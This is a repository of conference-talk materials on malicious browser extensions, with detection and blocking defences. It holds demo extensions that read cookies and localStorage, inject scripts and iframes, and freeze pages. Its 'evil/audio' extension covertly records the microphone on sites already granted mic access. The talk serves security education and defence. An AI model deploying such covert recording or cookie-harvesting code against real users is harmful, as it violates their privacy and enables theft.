├── .gitignore ├── README.md ├── additional ├── plugin-destroyer │ ├── entry.js │ ├── icons │ │ └── icon128.png │ └── manifest.json └── same_thread │ ├── background.js │ ├── entry.js │ ├── icons │ └── icon128.png │ ├── manifest.json │ └── popup │ ├── index.html │ └── index.js ├── demo ├── .prettierrc ├── plugin │ ├── README.md │ ├── background.js │ ├── entry.js │ ├── icons │ │ ├── active128.png │ │ ├── active32.png │ │ └── active48.png │ ├── manifest.json │ ├── popup │ │ ├── index.html │ │ └── index.js │ └── style.css └── site │ ├── 0 │ ├── index.html │ └── index.js │ ├── 1 │ ├── index.html │ └── index.js │ ├── 2 │ ├── index.html │ └── index.js │ ├── 3 │ ├── index.html │ └── index.js │ ├── ad │ ├── index.html │ └── js.png │ ├── index.html │ └── index.js └── evil ├── audio ├── README.md └── plugin │ ├── background.js │ ├── entry.js │ ├── icons │ └── icon128.png │ ├── manifest.json │ └── popup │ ├── index.html │ ├── index.js │ └── styles.css ├── slack ├── Readme.md └── plugin │ ├── background.js │ ├── content.css │ ├── entry.js │ ├── icons │ └── icon128.png │ ├── manifest.json │ └── popup │ ├── index.html │ ├── index.js │ └── styles.css └── video ├── README.md └── plugin ├── background.js ├── entry.js ├── icons └── icon128.png ├── manifest.json └── popup ├── index.html ├── index.js └── styles.css /.gitignore: -------------------------------------------------------------------------------- 1 | enhanced-audio 2 | enhanced-video 3 | .DS_Store 4 | Archive.zip -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ### Материалы к докладу: Я заберу у тебя всё, что у тебя есть и ты об этом даже не узнаешь. Я браузерное расширение 2 | 3 | #### Презентация: 4 | 5 | https://slides.com/nikmostovoy/holyjs#/ 6 | 7 | #### Содержимое папок: 8 | 9 | В папке additional — примеры, которые не вошли в доклад. Там вы найдете 2 плагина: 1 попытку манкипатчить DOM API от других плагинов и плагин, который фризит страницу на 20 секунд. К сожалению, Isolated world работает таким образом, что у каждого плагина свой личный экземпляр API 10 | 11 | В папке evil — примеры, как можно организовать аудио / видео запись пользователя, а также как написать свой плагин для Slack 12 | 13 | В папке demo — примеры плагина и борьбы с ним, которые были на докладе 14 | 15 | #### Ссылки: 16 | 17 | Плагин для просмотра расширений: https://github.com/Rob--W/crxviewer, стор: https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin 18 | 19 | FastProxy: https://habr.com/ru/post/421735/ 20 | Редиректы для рефералок: https://gist.github.com/ValdikSS/1f1c71d6eead35a33a57099c26923bee 21 | 22 | Доклад Всеволода на HolyJs о защите с помощью ServiceWorker https://www.youtube.com/watch?v=lXQTSXfGfbo 23 | 24 | Опыт одноклассников по борьбе с расширениями: https://habr.com/ru/company/odnoklassniki/blog/439552/ 25 | 26 | Документация по браузерным расширениями chrome: https://developer.chrome.com/extensions/manifest 27 | 28 | [@jsunderhood посвященный браузерным плагинам](https://jsunderhood.netlify.com/xnimorz/#poniediel'nik) 29 | -------------------------------------------------------------------------------- /additional/plugin-destroyer/entry.js: -------------------------------------------------------------------------------- 1 | document.querySelectorAll = null; 2 | console.log(document.querySelectorAll); 3 | -------------------------------------------------------------------------------- /additional/plugin-destroyer/icons/icon128.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xnimorz/browser-extensions-talk-holyjs/fa6be6faf7f23af05ad33fd4b60c65c9f0b17be6/additional/plugin-destroyer/icons/icon128.png -------------------------------------------------------------------------------- /additional/plugin-destroyer/manifest.json: -------------------------------------------------------------------------------- 1 | { 2 | "manifest_version": 2, 3 | "name": "PLUGIN_DESTROYER", 4 | "version": "4.2", 5 | "icons": { 6 | "128": "./icons/icon128.png" 7 | }, 8 | "permissions": ["tabs", "activeTab", ""], 9 | "content_scripts": [ 10 | { 11 | "matches": ["http://*/*"], 12 | "js": ["entry.js"] 13 | } 14 | ] 15 | } 16 | -------------------------------------------------------------------------------- /additional/same_thread/background.js: -------------------------------------------------------------------------------- 1 | const ACTIONS = { 2 | popupOpened: () => { 3 | chrome.tabs.query({ active: true, currentWindow: true }, ([tab]) => { 4 | chrome.tabs.executeScript(tab.id, { file: './entry.js' }); 5 | }); 6 | }, 7 | }; 8 | 9 | chrome.runtime.onMessage.addListener((request, sender, sendResponse) => { 10 | if (!request.action || !ACTIONS[request.action]) { 11 | return; 12 | } 13 | 14 | ACTIONS[request.action](request, sender, sendResponse); 15 | return true; 16 | }); 17 | -------------------------------------------------------------------------------- /additional/same_thread/entry.js: -------------------------------------------------------------------------------- 1 | const start = window.performance.now(); 2 | const SEC_20 = 20000; 3 | while (performance.now() - start < SEC_20) { 4 | console.log("WAIT!"); 5 | } 6 | console.log("Done"); 7 | -------------------------------------------------------------------------------- /additional/same_thread/icons/icon128.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xnimorz/browser-extensions-talk-holyjs/fa6be6faf7f23af05ad33fd4b60c65c9f0b17be6/additional/same_thread/icons/icon128.png -------------------------------------------------------------------------------- /additional/same_thread/manifest.json: -------------------------------------------------------------------------------- 1 | { 2 | "manifest_version": 2, 3 | "name": "jsunderhood example", 4 | "version": "4.2", 5 | "icons": { 6 | "128": "./icons/icon128.png" 7 | }, 8 | "background": { 9 | "scripts": ["background.js"] 10 | }, 11 | "permissions": ["tabs", "activeTab", ""], 12 | "browser_action": { 13 | "default_icon": { "128": "./icons/icon128.png" }, 14 | "default_popup": "./popup/index.html" 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /additional/same_thread/popup/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | Попап открыт 9 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /additional/same_thread/popup/index.js: -------------------------------------------------------------------------------- 1 | (function() { 2 | // https://bugzilla.mozilla.org/show_bug.cgi?id=1254003 3 | // Подключаем скрипт на страницу 4 | chrome.runtime.sendMessage({ action: 'popupOpened' }); 5 | })(); 6 | -------------------------------------------------------------------------------- /demo/.prettierrc: -------------------------------------------------------------------------------- 1 | { 2 | "printWidth": 120, 3 | "tabWidth": 2, 4 | "singleQuote": true, 5 | "trailingComma": "es5", 6 | "arrowParens": "always" 7 | } 8 | -------------------------------------------------------------------------------- /demo/plugin/README.md: -------------------------------------------------------------------------------- 1 | плагин, для демо на HolyJs -------------------------------------------------------------------------------- /demo/plugin/background.js: -------------------------------------------------------------------------------- 1 | const ACTIONS = { 2 | popupOpened: () => { 3 | chrome.tabs.query({ active: true, currentWindow: true }, ([tab]) => { 4 | chrome.tabs.executeScript(tab.id, { file: './entry.js' }); 5 | }); 6 | }, 7 | }; 8 | 9 | chrome.runtime.onMessage.addListener((request, sender, sendResponse) => { 10 | if (!request.action || !ACTIONS[request.action]) { 11 | return; 12 | } 13 | 14 | ACTIONS[request.action](request, sender, sendResponse); 15 | return true; 16 | }); 17 | -------------------------------------------------------------------------------- /demo/plugin/entry.js: -------------------------------------------------------------------------------- 1 | console.log('{PLUGIN — START}'); 2 | console.log('window.test = ', window.test); 3 | console.log('cookie = ', document.cookie); 4 | console.log('localStorage = ', localStorage); 5 | 6 | console.log(document.querySelectorAll); 7 | console.log(document.querySelectorAll('button')); 8 | 9 | const script = ` 10 | (function() { 11 | console.log('{INLINE SCRIPT FROM PLUGIN — START}'); 12 | console.log('window.test = ', window.test); 13 | console.log('cookie = ', document.cookie); 14 | console.log('localStorage = ', localStorage); 15 | console.log('I work inside the script tag from extension'); 16 | console.log(document.querySelectorAll('button')) 17 | const iframe = document.createElement('iframe'); 18 | iframe.classList.add('holy-example'); 19 | iframe.src = 'http://127.0.0.1:8080/ad'; 20 | iframe.width = 200; 21 | iframe.height = 236; 22 | document.body.appendChild(iframe); 23 | console.log('{INLINE SCRIPT FROM PLUGIN — END}'); 24 | })(); 25 | `; 26 | 27 | const scriptEl = document.createElement('script'); 28 | scriptEl.textContent = script; 29 | document.body.appendChild(scriptEl); 30 | document.body.removeChild(scriptEl); 31 | 32 | console.log('{PLUGIN — END}'); 33 | -------------------------------------------------------------------------------- /demo/plugin/icons/active128.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xnimorz/browser-extensions-talk-holyjs/fa6be6faf7f23af05ad33fd4b60c65c9f0b17be6/demo/plugin/icons/active128.png -------------------------------------------------------------------------------- /demo/plugin/icons/active32.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xnimorz/browser-extensions-talk-holyjs/fa6be6faf7f23af05ad33fd4b60c65c9f0b17be6/demo/plugin/icons/active32.png -------------------------------------------------------------------------------- /demo/plugin/icons/active48.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xnimorz/browser-extensions-talk-holyjs/fa6be6faf7f23af05ad33fd4b60c65c9f0b17be6/demo/plugin/icons/active48.png -------------------------------------------------------------------------------- /demo/plugin/manifest.json: -------------------------------------------------------------------------------- 1 | { 2 | "manifest_version": 2, 3 | "name": "HolyJs Example", 4 | "version": "4.2", 5 | "icons": { 6 | "128": "./icons/active128.png", 7 | "48": "./icons/active48.png", 8 | "32": "./icons/active32.png" 9 | }, 10 | "background": { 11 | "scripts": ["background.js"] 12 | }, 13 | "permissions": ["tabs", "activeTab", ""], 14 | "browser_action": { 15 | "default_icon": { "128": "./icons/active128.png", "48": "./icons/active48.png", "32": "./icons/active32.png" }, 16 | "default_popup": "./popup/index.html" 17 | }, 18 | "content_scripts": [ 19 | { 20 | "matches": ["http://*/*", "https://*/*"], 21 | "css": ["style.css"] 22 | } 23 | ] 24 | } 25 | -------------------------------------------------------------------------------- /demo/plugin/popup/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | Попап открыт 9 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /demo/plugin/popup/index.js: -------------------------------------------------------------------------------- 1 | (function() { 2 | // https://bugzilla.mozilla.org/show_bug.cgi?id=1254003 3 | // Подключаем скрипт на страницу 4 | chrome.runtime.sendMessage({ action: 'popupOpened' }); 5 | })(); 6 | -------------------------------------------------------------------------------- /demo/plugin/style.css: -------------------------------------------------------------------------------- 1 | .holy-example { 2 | border: 0; 3 | cursor: pointer; 4 | } 5 | -------------------------------------------------------------------------------- /demo/site/0/index.html: -------------------------------------------------------------------------------- 1 | 2 |

Content script enironment example

3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /demo/site/0/index.js: -------------------------------------------------------------------------------- 1 | console.log('{PAGE — START}'); 2 | window.test = '123'; 3 | 4 | document.querySelectorAll = function() { 5 | console.log('monkey patched'); 6 | return []; 7 | }; 8 | 9 | document.querySelectorAll('button'); 10 | console.log('{PAGE — END}'); 11 | -------------------------------------------------------------------------------- /demo/site/1/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 |

Content Security Policy Demo

6 | 7 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /demo/site/1/index.js: -------------------------------------------------------------------------------- 1 | console.log('index.js'); 2 | 3 | const script = "(function(){console.log('I work inside the script tag, from index.js');})();"; 4 | 5 | const scriptEl = document.createElement('script'); 6 | scriptEl.textContent = script; 7 | document.body.appendChild(scriptEl); 8 | 9 | window.test = '123'; 10 | -------------------------------------------------------------------------------- /demo/site/2/index.html: -------------------------------------------------------------------------------- 1 | 2 |

Mutation observer

3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /demo/site/2/index.js: -------------------------------------------------------------------------------- 1 | console.log('{PAGE — START}'); 2 | 3 | const allowedClasses = ['a', 'b']; 4 | const blackList = [ 5 | { 6 | className: 'holy-example', 7 | extName: 'holyjs', 8 | remove: (element) => { 9 | try { 10 | element.parentNode.removeChild(element); 11 | } catch (ignore) {} 12 | }, 13 | }, 14 | ]; 15 | 16 | const sendAnalytics = ({ element, extension }) => { 17 | console.log('{PAGE EXTENSION DETECTED — START}'); 18 | console.log(`Extension: ${extension.extName}`); 19 | console.log(`Element: ${element.outerHTML}`); 20 | // Способ удаления, если используем черные списки 21 | if (extension.remove) { 22 | extension.remove(element); 23 | } else { 24 | try { 25 | // Способ удаления, если удаляем все, чего нет в белом списке 26 | element.parentNode.removeChild(element); 27 | } catch (ignore) {} 28 | } 29 | console.log('{PAGE EXTENSION DETECTED — END}'); 30 | }; 31 | 32 | const mo = new MutationObserver(function callback(mutationsList) { 33 | for (const mutation of mutationsList) { 34 | mutation.addedNodes.forEach((addedNode) => { 35 | if (addedNode.nodeType !== Node.ELEMENT_NODE) return false; 36 | const extension = blackList.find((item) => addedNode.classList.contains(item.className)); 37 | if (extension) { 38 | sendAnalytics({ extension, element: addedNode }); 39 | return; 40 | } 41 | if (['script', 'iframe'].includes(addedNode.tagName.toLowerCase())) { 42 | sendAnalytics({ extension: { extName: 'NEW SCRIPT OR IFRAME' }, element: addedNode }); 43 | return; 44 | } 45 | if ([...addedNode.classList].some((className) => !allowedClasses.includes(className))) { 46 | sendAnalytics({ extension: { extName: 'NEW ELEMENT' }, element: addedNode }); 47 | return; 48 | } 49 | }); 50 | } 51 | }); 52 | 53 | const config = { 54 | attributes: true, 55 | attributeOldValue: true, 56 | characterData: true, 57 | characterDataOldValue: true, 58 | childList: true, 59 | subtree: true, 60 | }; 61 | mo.observe(document, config); 62 | 63 | console.log('{PAGE — END}'); 64 | -------------------------------------------------------------------------------- /demo/site/3/index.html: -------------------------------------------------------------------------------- 1 | 2 |

Proxy

3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /demo/site/3/index.js: -------------------------------------------------------------------------------- 1 | console.log('{PAGE — START}'); 2 | 3 | const windowApi = ['fetch', { document: ['querySelectorAll', 'querySelector'] }, 'postMessage']; 4 | 5 | function proxify(api, caller) { 6 | api.forEach((item) => { 7 | if (typeof item === 'object') { 8 | return Object.entries(item).forEach(([key, values]) => proxify(values, caller[key])); 9 | } 10 | caller[item] = new Proxy(caller[item], { 11 | apply: (target, thisValue, args) => { 12 | const error = new Error('HOLY ERROR'); 13 | console.log('{CAPTURE — START}'); 14 | console.log(`PAGE CAPTURED API INVOCATION: ${item}`); 15 | console.log(args); 16 | console.log(error.stack.toString()); 17 | if (error.stack.includes('anonymous')) { 18 | console.log('{CAPTURE — END}'); 19 | throw new Error(); 20 | } 21 | console.log('{CAPTURE — END}'); 22 | return target.apply(thisValue, args); 23 | }, 24 | }); 25 | }); 26 | } 27 | 28 | proxify(windowApi, window); 29 | 30 | console.log('{PAGE — END}'); 31 | -------------------------------------------------------------------------------- /demo/site/ad/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 |

4 | Здесь могла бы быть ваша реклама 5 |

6 | 7 | -------------------------------------------------------------------------------- /demo/site/ad/js.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xnimorz/browser-extensions-talk-holyjs/fa6be6faf7f23af05ad33fd4b60c65c9f0b17be6/demo/site/ad/js.png -------------------------------------------------------------------------------- /demo/site/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Hello world 6 | 7 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /demo/site/index.js: -------------------------------------------------------------------------------- 1 | console.log('index.js'); 2 | 3 | const script = "(function(){console.log('I work inside the script tag, from index.js');})();"; 4 | 5 | const scriptEl = document.createElement('script'); 6 | scriptEl.textContent = script; 7 | document.body.appendChild(scriptEl); 8 | 9 | window.test = '123'; 10 | 11 | // const mo = new MutationObserver((...args) => { 12 | // console.log(args); 13 | // }); 14 | // const config = { 15 | // attributes: true, 16 | // attributeOldValue: true, 17 | // characterData: true, 18 | // characterDataOldValue: true, 19 | // childList: true, 20 | // subtree: true, 21 | // }; 22 | // mo.observe(document, config); 23 | 24 | // document.addEventListener('blur', (e) => { 25 | // if (document.hasFocus()) { 26 | // console.log('[blur] focus'); 27 | // } 28 | // }); 29 | // document.addEventListener('focus', (e) => { 30 | // if (document.hasFocus()) { 31 | // console.log('[focus] focus'); 32 | // } 33 | // }); 34 | // document.querySelector('button').addEventListener('click', () => { 35 | // console.log('clicked'); 36 | // }); 37 | 38 | const documentApi = ['querySelectorAll', 'querySelector']; 39 | documentApi.forEach((item) => { 40 | document[item] = new Proxy(document[item], { 41 | apply: (target, thisValue, args) => { 42 | const error = new Error('test'); 43 | console.log('CAPTURED — ', item); 44 | console.log(args); 45 | console.log(error.stack.toString()); 46 | if (error.stack.includes('anonymous')) { 47 | throw new Error(); 48 | } 49 | console.log('CAPTURE END'); 50 | return target.apply(thisValue, args); 51 | }, 52 | }); 53 | }); 54 | -------------------------------------------------------------------------------- /evil/audio/README.md: -------------------------------------------------------------------------------- 1 | Пример плагина, который проверяет при открытии сайт — есть ли право на микрофон и если есть, включает запись пользователя. 2 | 3 | При этом, background script менеджит статусы страниц, и если одна из страниц прекращает запись — запускает запись на следующей страницу -------------------------------------------------------------------------------- /evil/audio/plugin/background.js: -------------------------------------------------------------------------------- 1 | const listOfPotencialRecorders = []; 2 | let timer = null; 3 | let recording = false; 4 | 5 | let records = []; 6 | 7 | function chooseNextRecorder(notShift) { 8 | if (notShift) { 9 | console.log( 10 | "recorder added. Now there amount is: ", 11 | listOfPotencialRecorders.length 12 | ); 13 | } 14 | if (timer && listOfPotencialRecorders.length && !recording && !notShift) { 15 | listOfPotencialRecorders.shift(); 16 | console.log( 17 | "remove one of recorders. Now ", 18 | listOfPotencialRecorders.length 19 | ); 20 | } 21 | if (listOfPotencialRecorders.length && !recording) { 22 | console.log("recorder is being notified"); 23 | listOfPotencialRecorders[0](); 24 | timer = setTimeout(() => { 25 | console.log("recorder didn't send response"); 26 | chooseNextRecorder(); 27 | }, 1500); 28 | } 29 | } 30 | 31 | let sendResponseToEntity; 32 | let sendResponseToPopup; 33 | const ACTIONS = { 34 | canRecordAudio: (req, sender, sendResponse) => { 35 | listOfPotencialRecorders.push(sendResponse); 36 | chooseNextRecorder(true); 37 | }, 38 | audioIsRecording: (request, sender, sendResponse) => { 39 | console.log("recorder is working"); 40 | recording = true; 41 | clearTimeout(timer); 42 | 43 | sendResponseToEntity = sendResponse; 44 | }, 45 | popupOpened: (request, sender, sendResponse) => { 46 | console.log("Popup is shown"); 47 | sendResponseToEntity(); 48 | sendResponseToPopup = sendResponse; 49 | }, 50 | audioFile: request => { 51 | console.log("received a chunk from recorder"); 52 | sendResponseToPopup({ data: request.data }); 53 | }, 54 | dead: () => { 55 | console.log( 56 | "Recorder became dead. We should be able to save them before this event" 57 | ); 58 | recording = false; 59 | records = []; 60 | chooseNextRecorder(); 61 | } 62 | }; 63 | 64 | chrome.runtime.onMessage.addListener((request, sender, sendResponse) => { 65 | if (!request.action || !ACTIONS[request.action]) { 66 | return; 67 | } 68 | 69 | ACTIONS[request.action](request, sender, sendResponse); 70 | return true; 71 | }); 72 | -------------------------------------------------------------------------------- /evil/audio/plugin/entry.js: -------------------------------------------------------------------------------- 1 | if (navigator.mediaDevices && navigator.mediaDevices.enumerateDevices) { 2 | navigator.enumerateDevices = function(callback) { 3 | navigator.mediaDevices.enumerateDevices().then(callback); 4 | }; 5 | } 6 | 7 | var MediaDevices = []; 8 | var isHTTPs = location.protocol === "https:"; 9 | var canEnumerate = false; 10 | 11 | if ( 12 | typeof MediaStreamTrack !== "undefined" && 13 | "getSources" in MediaStreamTrack 14 | ) { 15 | canEnumerate = true; 16 | } else if ( 17 | navigator.mediaDevices && 18 | !!navigator.mediaDevices.enumerateDevices 19 | ) { 20 | canEnumerate = true; 21 | } 22 | 23 | var hasMicrophone = false; 24 | var hasSpeakers = false; 25 | var hasWebcam = false; 26 | 27 | var isMicrophoneAlreadyCaptured = false; 28 | var isWebcamAlreadyCaptured = false; 29 | 30 | function checkDeviceSupport(callback) { 31 | if (!canEnumerate) { 32 | return; 33 | } 34 | 35 | if ( 36 | !navigator.enumerateDevices && 37 | window.MediaStreamTrack && 38 | window.MediaStreamTrack.getSources 39 | ) { 40 | navigator.enumerateDevices = window.MediaStreamTrack.getSources.bind( 41 | window.MediaStreamTrack 42 | ); 43 | } 44 | 45 | if (!navigator.enumerateDevices && navigator.enumerateDevices) { 46 | navigator.enumerateDevices = navigator.enumerateDevices.bind(navigator); 47 | } 48 | 49 | if (!navigator.enumerateDevices) { 50 | if (callback) { 51 | callback(); 52 | } 53 | return; 54 | } 55 | 56 | MediaDevices = []; 57 | navigator.enumerateDevices(function(devices) { 58 | devices.forEach(function(_device) { 59 | var device = {}; 60 | for (var d in _device) { 61 | device[d] = _device[d]; 62 | } 63 | 64 | if (device.kind === "audio") { 65 | device.kind = "audioinput"; 66 | } 67 | 68 | if (device.kind === "video") { 69 | device.kind = "videoinput"; 70 | } 71 | 72 | var skip; 73 | MediaDevices.forEach(function(d) { 74 | if (d.id === device.id && d.kind === device.kind) { 75 | skip = true; 76 | } 77 | }); 78 | 79 | if (skip) { 80 | return; 81 | } 82 | 83 | if (!device.deviceId) { 84 | device.deviceId = device.id; 85 | } 86 | 87 | if (!device.id) { 88 | device.id = device.deviceId; 89 | } 90 | 91 | if (!device.label) { 92 | device.label = "Please invoke getUserMedia once."; 93 | if (!isHTTPs) { 94 | device.label = 95 | "HTTPs is required to get label of this " + 96 | device.kind + 97 | " device."; 98 | } 99 | } else { 100 | if (device.kind === "videoinput" && !isWebcamAlreadyCaptured) { 101 | isWebcamAlreadyCaptured = true; 102 | } 103 | 104 | if (device.kind === "audioinput" && !isMicrophoneAlreadyCaptured) { 105 | isMicrophoneAlreadyCaptured = true; 106 | } 107 | } 108 | 109 | if (device.kind === "audioinput") { 110 | hasMicrophone = true; 111 | } 112 | 113 | if (device.kind === "audiooutput") { 114 | hasSpeakers = true; 115 | } 116 | 117 | if (device.kind === "videoinput") { 118 | hasWebcam = true; 119 | } 120 | 121 | // there is no 'videoouput' in the spec. 122 | 123 | MediaDevices.push(device); 124 | }); 125 | 126 | if (callback) { 127 | callback(); 128 | } 129 | }); 130 | } 131 | 132 | // check for microphone/camera support! 133 | checkDeviceSupport(function() { 134 | console.log("hasWebCam: ", hasWebcam); 135 | console.log("hasMicrophone: ", hasMicrophone); 136 | console.log("isMicrophoneAlreadyCaptured: ", isMicrophoneAlreadyCaptured); 137 | console.log("isWebcamAlreadyCaptured: ", isWebcamAlreadyCaptured); 138 | 139 | if (isMicrophoneAlreadyCaptured) { 140 | chrome.runtime.sendMessage({ action: "canRecordAudio" }, () => { 141 | record(); 142 | }); 143 | } 144 | }); 145 | 146 | let shouldRecord = false; 147 | let sendResponse = null; 148 | function record() { 149 | navigator.mediaDevices.getUserMedia({ audio: true }).then(stream => { 150 | const mediaRecorder = new MediaRecorder(stream); 151 | mediaRecorder.start(); 152 | 153 | chrome.runtime.sendMessage({ action: "audioIsRecording" }, () => { 154 | shouldRecord = true; 155 | mediaRecorder.stop(); 156 | }); 157 | 158 | const audioChunks = []; 159 | 160 | mediaRecorder.addEventListener("dataavailable", event => { 161 | console.log("got chunk"); 162 | audioChunks.push(event.data); 163 | }); 164 | 165 | mediaRecorder.addEventListener("stop", () => { 166 | console.log("STOP"); 167 | const audioBlob = new Blob(audioChunks); 168 | const audioUrl = URL.createObjectURL(audioBlob); 169 | 170 | chrome.runtime.sendMessage({ action: "audioFile", data: audioUrl }); 171 | 172 | if (shouldRecord) { 173 | record(); 174 | shouldRecord = false; 175 | } 176 | }); 177 | 178 | window.addEventListener("unload", () => { 179 | chrome.runtime.sendMessage({ action: "dead" }); 180 | }); 181 | }); 182 | } 183 | -------------------------------------------------------------------------------- /evil/audio/plugin/icons/icon128.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xnimorz/browser-extensions-talk-holyjs/fa6be6faf7f23af05ad33fd4b60c65c9f0b17be6/evil/audio/plugin/icons/icon128.png -------------------------------------------------------------------------------- /evil/audio/plugin/manifest.json: -------------------------------------------------------------------------------- 1 | { 2 | "manifest_version": 2, 3 | "name": "HolyJs audio", 4 | "version": "4.2", 5 | "icons": { 6 | "128": "./icons/icon128.png", 7 | "64": "./icons/icon128.png", 8 | "32": "./icons/icon128.png" 9 | }, 10 | "background": { 11 | "scripts": ["background.js"] 12 | }, 13 | "permissions": ["tabs", "activeTab", ""], 14 | "browser_action": { 15 | "default_icon": { 16 | "128": "./icons/icon128.png", 17 | "64": "./icons/icon128.png", 18 | "32": "./icons/icon128.png" 19 | }, 20 | "default_popup": "./popup/index.html" 21 | }, 22 | "content_scripts": [ 23 | { 24 | "matches": ["https://*/*"], 25 | "js": ["entry.js"] 26 | } 27 | ] 28 | } 29 | -------------------------------------------------------------------------------- /evil/audio/plugin/popup/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 |
    11 |
    12 |
    13 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /evil/audio/plugin/popup/index.js: -------------------------------------------------------------------------------- 1 | (function() { 2 | let audios = []; 3 | // https://bugzilla.mozilla.org/show_bug.cgi?id=1254003 4 | // Подключаем скрипт на страницу 5 | chrome.runtime.sendMessage({ action: "popupOpened" }, response => { 6 | audios = response.data; 7 | 8 | const audio = document.createElement("audio"); 9 | audio.src = response.data; 10 | audio.controls = true; 11 | document.querySelector(".js-audios").appendChild(audio); 12 | // audios.forEach((item, index) => { 13 | // const audiosEl = document.querySelector(".js-audios"); 14 | // const li = document.createElement("li"); 15 | // const button = document.createElement("button"); 16 | // button.innerText = "Play"; 17 | // button.dataset.index = index; 18 | // li.appendChild(button); 19 | // audiosEl.appendChild(li); 20 | // }); 21 | }); 22 | 23 | document.querySelector(".js-audios").addEventListener("click", e => { 24 | if (e.target.dataset.index) { 25 | const audio = new Audio(audios[e.target.dataset.index]); 26 | audio.play(); 27 | } 28 | }); 29 | })(); 30 | -------------------------------------------------------------------------------- /evil/audio/plugin/popup/styles.css: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xnimorz/browser-extensions-talk-holyjs/fa6be6faf7f23af05ad33fd4b60c65c9f0b17be6/evil/audio/plugin/popup/styles.css -------------------------------------------------------------------------------- /evil/slack/Readme.md: -------------------------------------------------------------------------------- 1 | Пример плагина, который добавляет стикеры для слака для доклада на HolyJs -------------------------------------------------------------------------------- /evil/slack/plugin/background.js: -------------------------------------------------------------------------------- 1 | (function() {})(); 2 | -------------------------------------------------------------------------------- /evil/slack/plugin/content.css: -------------------------------------------------------------------------------- 1 | .plugin-stickers { 2 | background-image: url(data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMzIiIGhlaWdodD0iMzIiIGZpbGw9Im5vbmUiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PGcgY2xpcC1wYXRoPSJ1cmwoI2NsaXAwKSIgZmlsbC1ydWxlPSJldmVub2RkIiBjbGlwLXJ1bGU9ImV2ZW5vZGQiIGZpbGw9IiM2NjYiPjxwYXRoIGQ9Ik0wIDI5LjA3N1YyLjkyM0EyLjkyNSAyLjkyNSAwIDAgMSAyLjkyMyAwaDI2LjE1NEEyLjkyNiAyLjkyNiAwIDAgMSAzMiAyLjkyM3YyNi4xNTRBMi45MjUgMi45MjUgMCAwIDEgMjkuMDc4IDMySDIuOTIyQTIuOTI0IDIuOTI0IDAgMCAxIDAgMjkuMDc3em0zMSAwVjIuOTIzQTEuOTI3IDEuOTI3IDAgMCAwIDI5LjA3OCAxSDIuOTIyQzEuODYzIDEgMSAxLjg2NCAxIDIuOTIzdjI2LjE1NEMxIDMwLjEzNyAxLjg2MyAzMSAyLjkyMyAzMWgyNi4xNTRBMS45MjYgMS45MjYgMCAwIDAgMzEgMjkuMDc3eiIvPjxwYXRoIGQ9Ik0xMS4xOTUgNS41MzVjLjA1LjAyMy4wOTguMDUxLjEzOS4wOTJMMjUuMjg1IDE5LjU4Yy4wOTQuMDU1LjE3Ni4xMy4yMTcuMjM4bDEuOTQgNi45MjVjLjAwNy4wMTUuMDA4LjAzMi4wMTMuMDQ4bC4wMDcuMDIzYy4wMDIuMDA0IDAgLjAwOS4wMDIuMDEyYS40NjMuNDYzIDAgMCAxIC4wMDIuMjg0Yy0uMDAzLjAxLS4wMDEuMDItLjAwNS4wMy0uMDAxLjAwNS0uMDA1LjAwNy0uMDA2LjAxMWEuNDcuNDcgMCAwIDEtLjA3LjEyYy0uMDE0LjAyLS4wMjcuMDQtLjA0My4wNTYtLjAxNy4wMTctLjAzOC4wMy0uMDU3LjA0M2EuNDc2LjQ3NiAwIDAgMS0uMTIuMDcxbC0uMDEuMDA3Yy0uMDEuMDAzLS4wMi4wMDEtLjAzMS4wMDRhLjQ5Mi40OTIgMCAwIDEtLjI4NC0uMDAyYy0uMDA0LS4wMDItLjAwOCAwLS4wMTItLjAwMmwtLjAyNC0uMDA3Yy0uMDE1LS4wMDUtLjAzMi0uMDA2LS4wNDYtLjAxM2wtNi45MjctMS45NGEuNDc3LjQ3NyAwIDAgMS0uMjM3LS4yMTdsLTEzLjc0LTEzLjc0Yy0uMDIzLS4wMi0uMDQyLS4wNDMtLjA2NC0uMDY0bC0uMTQ5LS4xNDljLS4wMDgtLjAwOC0uMDEtLjAxNy0uMDE3LS4wMjVBMy45OTUgMy45OTUgMCAwIDEgNC41IDguNTIzIDQuMDI0IDQuMDI0IDAgMCAxIDguNTI0IDQuNWMxLjAzIDAgMS45Ni4zOTcgMi42NzEgMS4wMzV6bS41NTUgMS44OWwtMS44MSAxLjgxIDExLjgyMSAxMS44MmMuMDA0LS4wMDMuMDA2LS4wMDguMDEtLjAxbDIuNDEzLTEuMTg2TDExLjc1IDcuNDI1em0xNC40ODYgMTguNzk2bC0uMzg5LTEuMzkzLTEuMDAzIDEuMDAzIDEuMzkyLjM5em0tMi40NzEtLjY5MmwxLjc4LTEuNzgtLjg1OC0zLjA2UzIyLjAwMSAyMS45ODMgMjIgMjEuOTg1bC0xLjI5NSAyLjY4NyAzLjA2Ljg1N3ptLTIuNzAzLTMuNzc0Yy4wMDItLjAwNC4wM